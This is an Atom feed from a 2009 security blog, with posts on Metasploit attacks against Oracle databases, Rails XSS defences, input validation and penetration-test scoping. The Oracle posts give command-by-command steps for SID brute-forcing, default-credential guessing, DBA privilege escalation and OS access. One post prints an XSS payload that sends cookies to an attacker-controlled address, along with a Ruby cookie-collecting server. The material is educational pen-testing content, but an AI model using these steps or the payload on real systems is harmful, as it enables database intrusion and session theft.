<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>Rory.Blog</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/" />
    <link rel="self" type="application/atom+xml" href="http://www.mccune.org.uk/blog/atom.xml" />
    <id>tag:www.mccune.org.uk,2009-02-22:/blog//1</id>
    <updated>2009-06-14T11:35:06Z</updated>
    <subtitle>A weblog about things that Interest me, mostly Security with a little Networking a dash of IT and the odd Cat.</subtitle>
    <generator uri="http://www.sixapart.com/movabletype/">Movable Type 4.23-en</generator>

<entry>
    <title>More Metasploitin&apos; - My first module.</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/06/more-metasploit-2.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.522</id>

    <published>2009-06-14T10:30:00Z</published>
    <updated>2009-06-14T11:35:06Z</updated>

    <summary>I thought I&apos;d have a shot at writing a quick metasploit module as a good way to get to know the framework a bit better. I&apos;m basing this on a project I did for my GSOC gold where I wrote...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Database Security" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>I thought I'd have a shot at writing a quick metasploit module as a good way to get to know the framework a bit better.  I'm basing this on a project I did for my GSOC gold where I wrote a POC oracle security scanner in ruby called <a href="http://rorascanner.rubyforge.org">rorascanner</a>.  Seems like a good idea to move the checks I was doing there into a metasploit module.</p>

<p>At the moment its very rough and just basically carries out a series of SQL queries (based on mc's Oracle module) and dumps the results out to a file for later use.  I thought it could be useful for people wanting to quickly get some data out of the database for later analysis (kinda' like winenum).</p>

<p>Anyway code is <a href="http://www.mccune.org.uk/code/ora_enum.rb">here</a> .  Any thoughts suggestions welcome :)</p>]]>
        
    </content>
</entry>

<entry>
    <title>Scotland on Rails Videos online</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/scotland-on-rai-1.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.520</id>

    <published>2009-05-27T18:48:06Z</published>
    <updated>2009-05-27T18:51:48Z</updated>

    <summary>All the Scotland on Rails videos are now online here courtesy of the nice folks at Engine Yard. The video for my presentation is here , slides are on slideshare over here...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Ruby On Rails" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Web Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>All the Scotland on Rails videos are now online <a href="http://www.engineyard.com/community/scotland-on-rails/">here</a> courtesy of the nice folks at Engine Yard.</p>

<p>The video for my presentation is <a href="http://scotland-on-rails.s3.amazonaws.com/2B07_RoryMcCune-SOR.mp4">here</a> , slides are on slideshare over <a href="http://www.slideshare.net/raesene/web-appliction-security-scotland-on-rails-presentation">here</a>  </p>]]>
        
    </content>
</entry>

<entry>
    <title>Some Metasploit and Oracle Notes - Part 2</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/some-metasploit-1.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.519</id>

    <published>2009-05-12T19:41:55Z</published>
    <updated>2009-05-16T17:02:29Z</updated>

    <summary>So More Oracle and Metasploit stuff tonight. as CG pointed out on the last post, most of this has been covered on his series of posts at the carnal0wnage blog (and lots more besides), this is just my working through...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>So More Oracle and Metasploit stuff tonight.  as CG pointed out on the last post, most of this has been covered on his series of posts at the carnal0wnage blog (and lots more besides), this is just my working through the process for my own benefit and hopefully pointing out some of the potential things to think about as I go along....</p>

<p>ok so where I left off <a href="http://www.mccune.org.uk/blog/2009/05/some-metasploit.html">last time</a> we'd got found our database, enumerated the SIDs and guessed a handily set default username/password (the infamous SCOTT/TIGER).  So at this point we've got an account which can access the database, but now we need some more privileges...</p>

<p><b>4. Escalate privileges to get DBA level access</b>To do this we're going to use the metasploit droptable_trigger module, which works slightly differently from some exploit modules in Metasploit as executing the code generates a file that you can then run against the database to elevate your privileges.</p>

<p>Setting this up is very simple</p>

<pre>use auxiliary/admin/oracle/droptable_trigger </pre>

<p>Handily the default SQL command that gets run by this exploit is "grant DBA to SCOTT" which is exactly what we're looking for.</p>

<p>once we've run this module a .sql file is generated in the data/exploit directory.  Probably the easiest way of running this is to use sqlplus, like so</p>

<pre>sqlplus SCOTT/TIGER@[your_target_IP_here]/[your_target_SID_here] < msf.sql </pre>

<p>Assuming all goes well with the attack (from my experimentation with 10GR2 this one works fine) you can query the user_role_privs view in Oracle to confirm </p>

<p><i><br />
SQL> select * from user_role_privs;</p>

<p>USERNAME                  GRANTED_ROLE          ADM DEF OS_<br />
------------------------------ ------------------------------ --- --- ---<br />
SCOTT                          CONNECT                     NO  YES NO <br />
<b>SCOTT                          DBA                               NO  YES NO</b><br />
SCOTT                          RESOURCE                   NO  YES NO<br />
</i></p>

<p>It's worth noting that some of these Oracle modules (there's 9 in the current Metasploit svn versions) have required privilege levels (dbms_cdc_publish for example in a vanilla 10GR2 setup needs EXECUTE_CATALOG_ROLE to run which only SYS and users with the DBA role have...), so it's worth trying out several to fit different scenarios...</p>

<p>So here we are with DBA, which to be honest for a lot attackers is all that's needed.  The data in the database is likely to be the "crown jewels" which the attackers looking for, but hey we can go further with the wonders of Metasploit and execute code on the underlying operating system...</p>

<p><b>5. Leverage Oracles functionality to get access to the underlying operating system</b>
So at the moment I don't see a metasploit option for doing this in *nix (there's a win32 command execution module on <a href="http://www.metasploit.com/users/mc/oracle/win32exec.rb">mc's </a>page), however that's not a serious problem as it turns out the nice guys at Oracle provide ways to do this easily.</p>

<p>A quick google around revealed <a href="http://www.oracle.com/technology/tech/java/jsp/pdf/calling_shell_commands_from_plsql_1.1.pdf">this paper</a> from Oracle on command execution from a database user and from my running of it, it works fine (although requires creation of new database objects so best suited to an environment that can be rolled back easily...).</p>

<p>So there you go, from nothing to OS access in 5 easy steps, courtesy of Metasploit...</p>]]>
        
    </content>
</entry>

<entry>
    <title>Some Metasploit and Oracle Notes - Part 1</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/some-metasploit.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.517</id>

    <published>2009-05-10T08:03:49Z</published>
    <updated>2009-05-10T12:19:56Z</updated>

    <summary>Todays fun with Metasploit is exploiting Oracle... There&apos;s lots of good information on this on the Carnal 0wnage blog and the metasploit page for mc. First things first, we&apos;ll need the relevant ruby modules (dbi and oci8) installed and working...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>Todays fun with Metasploit is exploiting Oracle...  There's lots of good information on this on the <a href="carnal0wnage.blogspot.com">Carnal 0wnage</a> blog and the metasploit page for <a href="http://metasploit.com/users/mc/">mc</a>.</p>

<p>First things first, we'll need the relevant ruby modules (dbi and oci8) installed and working for some of this. </p>

<p>dbi can be installed using the usual 'sudo gem install dbi' but oci8 has some more prerequisites and steps to get working.  The best thing to do is follow the instructions <a href="http://ruby-oci8.rubyforge.org/en/InstallForInstantClient.html">here </a>.  As a note you'll probably want to add the LD_LIBRARY_PATH to your bash profile to avoid setting it manually every time you want to use it (in Ubuntu this can be done system wide in /etc/bash.bashrc)</p>

<p>Once you've done that it should be possible to make basic connections to oracle from ruby ok...</p>

<p>So on to what Metasploit can do for you in a test with Oracle systems..  This walkthrough is heavily based on this video <a href="http://carnal0wnage.blogspot.com/2009/02/attacking-oracle-with-metasploit.html">here</a> from shmoocon this year.</p>

<p>One set of rough steps for converting "hmm there's an oracle system here" to "w00t I've got admin access to the server" might be<br />
<ol><br />
<li>Discover the version of Oracle Running</li><br />
<li>Find out what the SID of the database is</li><br />
<li>Get valid credentials to the database</li><br />
<li>Escalate those credentials to DBA level access</li><br />
<li>Leverage Oracles functionality to get access to the underlying operating system</li><br />
<li>...</li><br />
<li>Profit!!</li><br />
</ol></p>

<p>Luckily Metasploit can help us with pretty much all of this....</p>

<p><b>1. Discover the version of Oracle running on the server</b>
This is very useful as it allows for targeting of exploits (no point in trying use an exploit for something that's been patched on the target).  </p>

<p>From msfconsole</p>

<pre>use auxiliary/scanner/oracle/tnslsnr_version </pre>
<pre>set RHOSTS [your_target_ip_here]
run </pre>

<p>from this you should see something like<br />
<pre>[*] Host 192.168.1.203 is running: Linux: Version 10.2.0.1.0 - Production<br />
[*] Auxiliary module execution completed<br />
</pre></p>

<p>which tells us we've got 10gR2 on Linux running.</p>

<p><b>2. Find out what the SID of the database is</b>
In order to connect to the database we're going to need to know what the SID is.  Pre 10GR2 we could just use the metasploit sid_enum module (in auxiliary/scanner/oracle) to find this but after that we'll need to brute-force it.  Not to worry there's a module for that too :)</p>

<p>As of 3.3-dev 6537 the sid_brute module doesn't appear to be included, but it can be downloaded from <a href="http://metasploit.com/users/mc/oracle/sid_brute.rb">mc's page</a>.  For this module you'll also need a list of common SIDs for Oracle.  One of those can be found on the<a href="http://www.red-database-security.com/scripts/sid.txt"> Red Database Security</a> site.</p>

<p>so once you've put the sid_brute module in the right place (I used modules/auxiliary/scanner/oracle) and your sid.txt file somewhere (I used the default from the module of data/exploits) you can do the following...</p>

<pre> use auxiliary/scanner/oracle/sid_brute</pre>
<pre> set RHOST [your_target_ip_here]</pre>

<p>and hopefully you'll get some output like</p>

<pre>[*] Found SID 'ORCL' for host 192.168.1.203.</pre>

<p>So we've now got the SID of the database, on to usernames and passwords.</p>

<p><b>3. Get valid credentials to the database</b>
Now Oracle databases are pretty notorious for having a wide range of default usernames and passwords installed on them.  This isn't so true for modern releases but if your're running against older releases, it's well worth checking. </p>

<p>So to do this we'll need the brute_login metasploit module and a list of usernames and passwords.  The module again can be found on <a href="http://metasploit.com/users/mc/oracle/brute_login.rb">mc's page</a> and the canonical list of Oracle usernames and passwords is on <a href="http://www.petefinnigan.com/default/oracle_default_passwords.csv">Pete Finnigans</a> site.</p>

<p>Also we'll need to get the oracle mixin at this point from <a href="http://metasploit.com/users/mc/oracle/oracle.rb">here</a> and copy that to lib/msf/core/exploit/ .  Now at this point I was getting a module loading error but reading <a href="http://carnal0wnage.blogspot.com/2008/11/oracle-pwnage-with-metasploit-oracle.html">this</a> and <a href="http://carnal0wnage.blogspot.com/2008/08/metasploit-and-file-format-bugs.html">this</a> led me to the idea of modifying the brute_login.rb file adding</p>

<pre>require 'msf/core/exploit/oracle'</pre>

<p>to the top of the file (just under the other requires) to get it all loaded up ok (also found out that a lot of this ground's been covered before but hey :) ! )</p>

<p>So with those saved in appropriate places (same as last time) we can see what's there</p>

<pre>use auxiliary/scanner/oracle/brute_login </pre>

<pre> set RHOST [your_target_ip_here]
run</pre>

<p>Now wtih any luck you'll get a file called oracle_success.log popping up in the data/exploits directory which will contain some entries like this</p>

<pre>Found user/pass of: SCOTT/TIGER on 192.168.1.203...</pre>

<p>which tells us the creds we need to make a valid connection and move on to the next stage.</p>

<p>So now we've got a valid account on the database, but it's not got that magic DBA level of privilege</p>

<p>Next time I'll follow-up on using metasploit to get down the OS</p>

<p></p>

<p></p>

<p><br />
</p>]]>
        
    </content>
</entry>

<entry>
    <title>Tonights Metasploit links</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/tonights-metasp.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.516</id>

    <published>2009-05-07T19:45:00Z</published>
    <updated>2009-05-10T09:18:22Z</updated>

    <summary>Been taking a look at another one of the newer Metasploit features tonight. WMAP is looking to integrate web application scanning functionality into Metasploit. There&apos;s a couple of good overviews Here, Here and Here Getting it up and running is...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>Been taking a look at another one of the newer Metasploit features tonight.  WMAP is looking to integrate web application scanning functionality into Metasploit.  There's a couple of good overviews <a href="http://trac.metasploit.com/browser/framework3/trunk/documentation/wmap.txt">Here</a>, <a href="http://www.vulnerabilityassessment.co.uk/wmap_meta.htm">Here</a>  and <a href="http://darkoperator.blogspot.com/2008/10/metasploit-wmap-web-attack-and.html">Here</a></p>

<p>Getting it up and running is a little bit finicky at the moment, as you need to used a patched copy of <a href="http://code.google.com/p/ratproxy/">ratproxy</a> to collect the base URLs for the scanner (quick note is that my fairly new Ubuntu Intrepid install was missing libssl-dev which is a pre-requisite for compiling ratproxy so worth checking for if you get make errors when setting it up).</p>

<p>Once you've gathered URLs and fed them in to the database getting the scanner to start running is straightforward (examples in the links at the top so I won't go into it).  From an initial look, some of the plugins seem to do some directory/file brute-forcing which can take ages to run, but if it's going on too long you can use CTRL-C to interrupt just that plug-in and Metasploit will catch the interrupt gracefully and move on to the next directory or plugin...</p>]]>
        
    </content>
</entry>

<entry>
    <title>More metasploit resources</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/more-metasploit.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.515</id>

    <published>2009-05-05T19:31:57Z</published>
    <updated>2009-05-10T09:18:46Z</updated>

    <summary>So another night of metasploitage, and some good additional info Pivoting Good write-up on some of the challenges with pivoting Greate Demo video of using pivoting to attack a host indirectly Another good video demo of pivoting, but without the...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>So another night of metasploitage, and some good additional info</p>

<p><b>Pivoting</b><br />
<ul><br />
<li><a href="http://www.indepthdefense.com/2009/02/reverse-pivots-with-metasploit-how-not.html">Good write-up on some of the challenges with pivoting</a></li><br />
<li><a href="http://ne0matrix.blogspot.com/2009/05/demo-video-meterpreter-pivot-attack.html">Greate Demo video of using pivoting to attack a host indirectly</a></li><br />
<li><a href="http://vimeo.com/3446123">Another good video demo of pivoting, but without the cool tunes :) </a></li><br />
</ul></p>]]>
        
    </content>
</entry>

<entry>
    <title>Metasploit Resources</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/metasploit-reso.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.514</id>

    <published>2009-05-04T19:29:54Z</published>
    <updated>2009-05-10T09:19:17Z</updated>

    <summary>So I&apos;ve been playing a bit with Metasploit over the holiday weekend (hey what are days off for..), and as usual when researching stuff, I&apos;ve come across a load of links I don&apos;t want to lose track of, so I&apos;ll...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>So I've been playing a bit with Metasploit over the holiday weekend (hey what are days off for..), and as usual when researching stuff, I've come across a load of links I don't want to lose track of, so I'll put them up here, may be useful to someone else as well..</p>

<p>I'll refrain from the really obvious linking to the project homepage, as if you're looking for metasploit links, I'd guess you've found it already :)</p>

<p><b>Pre-Exploitation Information</b><br />
<ul><br />
<li><a href="http://synjunkie.blogspot.com/2008/10/metasploit-payloads-msfpayload.html"> Good set of examples for using msfpayload to create executable payloads</a></li><br />
<li><a href="http://sites.google.com/site/visitabhiluck/Home/technical-writing/creating-malicious-executables-using-metasploit">More msfpayload information</a></li><br />
<li><a href="http://www.darkoperator.com/blog/2009/4/25/evil-packaging-on-osx-with-xcode-and-metasploit.html">Interesting worked example of msfpayload setup on osx</a></li><br />
<li><a href="http://www.gamelinux.org/?cat=17">Interesting write-up on eval_php for for webserver compromise</a></li><br />
</ul></p>

<p><br />
<b>Post-Exploitation (meterpreter and the like) Information</b><br />
<ul><br />
<li><a href="http://carnal0wnage.blogspot.com/2009/04/more-on-working-with-incognito-and.html">Post on meterpreter usage</a>.  Has some interesting points on what can be done with Meterpreter.</li><br />
<li><a href="http://www.kecoak-elektronik.net/log/2009/03/01/fun-and-profit-with-meterpreter/"> Interesting post on using meterpreter again</a> Some information on using meterpreter scripts like killav to stop exploits being detected, and timestomp to make discovery harder.</li><br />
<li><a href="http://sites.google.com/site/visitabhiluck/Home/technical-writing/post-exploitation-activities"> Article from the Metasploit wikibook on post-exploitation activities</a></li><br />
</ul></p>]]>
        
    </content>
</entry>

<entry>
    <title>Rack for Pen Testing</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/03/rack-for-pen-te.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.513</id>

    <published>2009-03-31T19:37:18Z</published>
    <updated>2009-03-31T20:30:26Z</updated>

    <summary>One of the many things I got introduced to at Scotland on Rails was the Rack project. Designed to help create flexible web application deployments, it creates an interface between webservers and ruby web app. frameworks (rails, sinatra etc). Reading...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>One of the many things I got introduced to at Scotland on Rails was the <a href="http://rack.rubyforge.org/">Rack project</a>.  Designed to help create flexible web application deployments, it creates an interface between webservers and ruby web app. frameworks (rails, sinatra etc).</p>

<p>Reading some of the examples, it occurred to me that Rack could be pretty handy for web application testing where sometimes it's useful to have a minimal web application to bounce things off.</p>

<p>One example of this is demo'ing XSS attacks.  A standard XSS attack is cookie stealing.  The way this works is the attacker inserts a script tag with a reference to a URL controlled by the attacker and inserts the cookie for the victim site into a parameter to the URL.  </p>

<p>So for example if we've found an XSS vector we can put</p>

<pre>
&lt;script&gt;document.location=&quot;http://&lt;attacker_ip/cookiegrabber?cookie=&quot;+document.cookie&lt;/script&gt;
</pre>
into the vulnerable box and if we have a server listening on that IP address we get the cookie..

<p>Here's where rack comes in.  You can use rack to very quickly create some code to listen on a port and accept the incoming request (and indeed to anything else you can do with ruby, but hey lets start small).</p>

<p>A proof of concept script to do something like this might look like the one below...</p>

<pre>
#!/usr/bin/env ruby
require 'rubygems'
require 'rack'
builder = Rack::Builder.new do
  use Rack::CommonLogger
  @@grabbed = Array.new
  map '/' do
    run Proc.new {|env| [200, {&quot;Content-Type&quot; =&gt; &quot;text/html&quot;}, &quot;&lt;h1&gt; Rack Pen Test Helper&lt;/h1&gt;&quot;]}
  end
  
  map '/cookiegrabber' do
    app = proc do |env|
      req = Rack::Request.new(env) 
      ip = req.ip.to_s
      cookie = req.params['cookie'] || &quot;No Cookie Parameter passed&quot;
      @@grabbed &lt;&lt; [ip,cookie]
      [200, {&quot;Content-Type&quot; =&gt; &quot;text/html&quot;}, &quot;grabbed &quot; + cookie + &quot; from &quot; + ip + &quot;&lt;br /&gt; Grabbed &quot; + @@grabbed.length.to_s + &quot; cookies so far&quot;]
    end
    run app
  end
  
  map '/cookiegrabbed' do
    app = proc do |env|
      out = &quot;&quot;
      if @@grabbed.length &gt; 0
        @@grabbed.each do |crumb|
          out &lt;&lt; &quot;Grabbed a cookie with value  &quot; + crumb[1] + &quot; from &quot; + crumb[0] + &quot;&lt;br /&gt;&quot;
        end
      else
        out = &quot;Nothing Grabbed so far&quot;
      end
      [200, {&quot;Content-Type&quot; =&gt; &quot;text/html&quot;}, out]
    end
    run app
  end
end
Rack::Handler::Mongrel.run builder, :Port =&gt; 9292
</pre>]]>
        
    </content>
</entry>

<entry>
    <title>Scotland on Rails - Web Application Security</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/03/scotland-on-rai.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.512</id>

    <published>2009-03-31T19:12:38Z</published>
    <updated>2009-03-31T19:33:14Z</updated>

    <summary>It was the Scotland on Rails 2009 conference on Friday/Saturday of last week. A great couple of days with loads of interesting Ruby and Rails talks (I&apos;m planning more of a recap once the videos are out) I presented on...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Ruby On Rails" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Web Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>It was the <a href="http://www.scotlandonrails.com">Scotland on Rails</a> 2009 conference on Friday/Saturday of last week.  A great couple of days with loads of interesting Ruby and Rails talks (I'm planning more of a recap once the videos are out)</p>

<p>I presented on Web Application Security (slides <a href="http://www.slideshare.net/raesene/web-appliction-security-scotland-on-rails-presentation"> here</a>), which seemed to go down reasonably well.</p>

<p>One of the main themes of my presentation was that, whilst Rails provides a variety of mechanisms to help developers to create secure applications, it still leaves a lot to the individual to think about, and relies on implementation of the protection that it provides.</p>

<p>One major example of this it Rails default protection mechanism from XSS which is the h() function.  This HTML encodes the contents of the argument passed to it.  This is an effective defense against XSS but relies on developers to use it consistently, which can be tricky to remember.</p>

<p>There's a couple of potential ways for improving this situation with plugins.</p>

<p>The <a href="http://rubyforge.org/projects/safe-erb/">Safe ERB</a> plugin is designed to help developers by raising an exception when information pulled from an ActiveRecord model is displayed in a view without h() being used.</p>

<p>The other way to approach the problem of XSS is to validate input when it's passed to the application.  There are a number of Rails plugins which take this approach including  <a href="http://code.google.com/p/sanitizeparams/">Sanitize Params</a> and <a href="http://code.google.com/p/xssterminate/">XSS Terminate</a></p>]]>
        
    </content>
</entry>

<entry>
    <title>Thoughts on Secure Data Handling in web applications...</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/03/thoughts-on-sec.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.511</id>

    <published>2009-03-25T19:31:48Z</published>
    <updated>2009-03-25T20:06:30Z</updated>

    <summary>I had an interesting conversation/debate over on reddit today on the topic of input handling and I thought it was worth posting up. Essentially there are two approaches handling data in an web applications. 1. Carry out input validation as...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Web Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>I had an interesting conversation/debate over on <a href="http://www.reddit.com/r/programming/comments/86kgp/xss_cross_site_scripting_prevention_cheat_sheet/c08g0ol?context=3">reddit</a> today on the topic of input handling and I thought it was worth posting up.</p>

<p>Essentially there are two approaches handling data in an web applications.</p>

<p>1. Carry out input validation as the data enters your application.  This can either be white-list (only allow "known good" data types), or black-list (try to block "known-bad" data types)<br />
2.  Carry out output normalization on the data as it leaves your application.  Here you look to understand the special or "meta" characters for the type of system or data format that you are outputting to and ensure that the data is encoded or rendered in such a way that it can't have a negative effect on that output system.</p>

<p>So which of these approaches is better?  Well my view on that after my discussion is that they both have pros and cons, which need to be considered before making a choice.</p>

<p><u><strong><big>Input Validation</big></strong></u></p>

<p><b>Pros:</b> The advantage of white list input validation is that, in a lot of cases, you can relatively easily cut down the number of attacks that will be effective against an application with minimal effort.  For example if you're not taking in mark-up (eg, HTML) in any part of your application then stripping or blocking the &lt; and &gt; characters from your input will drastically reduce your exposure to Cross Site Scripting.  This is the approach that .NET request validation takes.</p>
<p><b>Cons:</b>The problem with input validation is, it can never take account of all possibilities.  It's impossible to know when you take input into the application, how that data will be used and exactly where it will be processed in future, so there's always a risk that it will miss some class of character which turns out to be important to a given format</p>

<p><u><strong><big>Output Normalization</big></strong></u><br />
<p><b>Pros: </b>So essentially the opposite applies.  The advantage of output normalization is that it can take into consideration the exact nature of the system that the data is being passed to and can ensure that the data it's passing will not have a negative effect.  This kind of approach can be seen in HTML encoding function like h() in Ruby on Rails.</p></p>

<p><b>Cons: </b>Essentially for me the major downside here is a practical one.  A security control that needs to be implemented many times to be effective is one that is likely to be forgotten and because under ordinary conditions the application is likely to behave perfectly even though the control isn't in place, a developer may well not notice the problem until it's too late.  You can see this kind of effect in a lot of web applications.  I've seen many cases where the obvious areas of the application (form fields) have been covered for things like Cross Site Scripting, but more obscure areas (drop-downs, cookies, HTTP headers) get missed out, either because the developer forgets, or because they don't realise that those areas of the application are susceptible to attack</p>

<p>So which of these approaches would I recommend..... Well I'm a security person, so I'll say <b><i>Both</i></b> for defence in depth!  </p>

<p>Beyond that I'd say that Input validation is a great first step and will cut down the practical attacks greatly, but if you're looking for a "perfect" approach then you'll need to add output normalization to the mix...<br />
</p>]]>
        
    </content>
</entry>

<entry>
    <title>XSS in Rails Applications</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/03/xss-in-rails.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.510</id>

    <published>2009-03-08T21:18:29Z</published>
    <updated>2009-03-08T21:24:28Z</updated>

    <summary>I&apos;m doing some research at the moment for a presentation I&apos;m doing for the Scotland on Rails conference, later this month. As part of that I&apos;ve been downloading some sample Rails applications to get an idea of common security issues...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Ruby On Rails" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Web Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="railsxss" label="rails XSS" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>I'm doing some research at the moment for a presentation I'm doing for the <a href="http://www.scotlandonrails.com/">Scotland on Rails</a> conference, later this month.  As part of that I've been downloading some sample Rails applications to get an idea of common security issues that I can discuss.</p>

<p>Interestingly on popular applications that I've downloaded so far, I'm 2 for 2 on the exact same problem.</p>

<p>Both of them have XSS vulnerabilities from the user-->admin sides of the site.  So the end-user pages have output encoding to restrict XSS but the admin sections don't consistently provide the same protection.</p>

<p>It's also interesting that both applications seem to be relying on output encoding as a defence as opposed to input validation.  In my experience the best defence is a combination of the two...</p>

<p>Of course that leads to some potentially nasty exploits around stealing admin credentials from the site in question.  Hey looks like I'll have some stuff to talk about anyway :)<br />
</p>]]>
        
    </content>
</entry>

<entry>
    <title>Penetration Test Scoping</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2008/12/penetration-tes.html" />
    <id>tag:www.mccune.org.uk,2008:/blog//1.509</id>

    <published>2008-12-22T20:52:53Z</published>
    <updated>2009-05-10T09:19:50Z</updated>

    <summary>Got a reminder I&apos;ve not blogged in a while, so here&apos;s the next part of what I was going to talk about.. So, following on from my first post in this series I thought I&apos;d go on to talk about...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>Got a reminder I've not blogged in a while, so here's the next part of what I was going to talk about..</p>

<p>So, following on from my <a href="http://www.mccune.org.uk/blog/000508.html">first post</a> in this series I thought I'd go on to talk about penetration test scoping.</p>

<p>Getting the scope right is one of the most important parts of a successful pen. test.  If you get the wrong scope it won't matter how brilliantly the test is executed or how great the report looks, because you won't have fulfilled the customers requirements.</p>

<p>Unfortunately in a lot of cases the customer doesn't actually know what they want, they may have heard that they need "one of those security test things", they may have auditors telling them they have to have one, or if you're lucky they may have an idea of what they're looking to achieve.</p>

<p>The best pen. tests have specific goals in mind, which allow specific tests to be scoped.  Most commonly a good scope will focus on the question "what's changed", along with a view of the level of security desirable for an application.</p>

<p>So a high risk new application on a new platform is likely to warrant a fairly heavy review (web application, possibly code review, likely config. security review of the operating system and other new components like firewalls or routers), whereas some new pages added to an existing application where it's purely static content, might not warrant a review at all (or a very quick sense check).</p>

<p>Ultimately there's going to be a trade-off between time spent and the level of assurance over security that's needed.  A full code-review/manual build review/architecture review of a new application is likely to provide the best level of assurance, but at a pretty high cost.  A "black box" vulnerability scan and web application test, will likely be quick and therefore cheaper, but will provide a lower level of assurance.</p>

<p>next time (hopefully sooner) I'll talk about some of the challenges in executing tests and touch on some of the gotchas that can cause problems</p>]]>
        
    </content>
</entry>

<entry>
    <title>What is Penetration Testing?</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2008/12/what-is-penetra.html" />
    <id>tag:www.mccune.org.uk,2008:/blog//1.508</id>

    <published>2008-12-14T18:49:05Z</published>
    <updated>2008-12-14T19:00:10Z</updated>

    <summary>I&apos;m planning to do a series of posts about penetration testing over the next couple of weeks so I thought I should start in the obvious place of defining what it actually is. You&apos;d think this would be relatively straightforward,...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
